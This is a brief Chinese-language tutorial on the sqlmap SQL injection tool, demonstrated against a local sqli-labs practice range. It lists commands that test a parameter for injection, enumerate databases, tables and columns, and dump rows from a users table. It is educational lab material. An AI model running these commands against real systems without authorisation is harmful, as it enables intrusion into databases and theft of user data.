Sqlmap
https://sqlmap.org/
sqlmap是一个开源,跨平台的自动化SQL注入工具,目前支持大多数主流数据库有MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite等
sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。
我们可以使用 -h 参数来查看 sqlmap 的可选参数以及用法,sqlmap -h
-hh 参数可以查看更详细的用法,sqlmap -hh
小试牛刀
靶场:这里我们使用搭建的 sqli-labs(https://github.com/Audi-1/sqli-labs/wiki)来进行测试
步骤:
- 查看是否能注入
-u , --url 表示指定url
sqlmap -u "http://127.0.0.1/Less-1/?id=1"
sqlmap -u "http://127.0.0.1/Less-1/?id=1" -p id
Parameter表示注入参数为id ,Get表示能注入成功,Type表示支持的注入类型
- 查看所有数据库
--dbs 表示枚举所有数据库
sqlmap -u "http://127.0.0.1/Less-1/?id=1" --dbs
- 查看指定数据库所有表
-D 表示指定数据库 --tables 表示枚举所有表
sqlmap -u "http://127.0.0.1/Less-1/?id=1" -D security --tables
- 查看指定数据表的所有列
-T 表示指定表 --columns 表示枚举所有列名与数据类型
sqlmap -u "http://127.0.0.1/Less-1/?id=1" -D security -T users --columns
- 查看指定数据表指定列的内容
-C 表示指定列 --dump 表示输出数据 --start 表示开始位置 --stop 表示停止位置
sqlmap -u "http://127.0.0.1/Less-1/?id=1" -D security -T users -C id,username --dump --start 1 --stop 5
|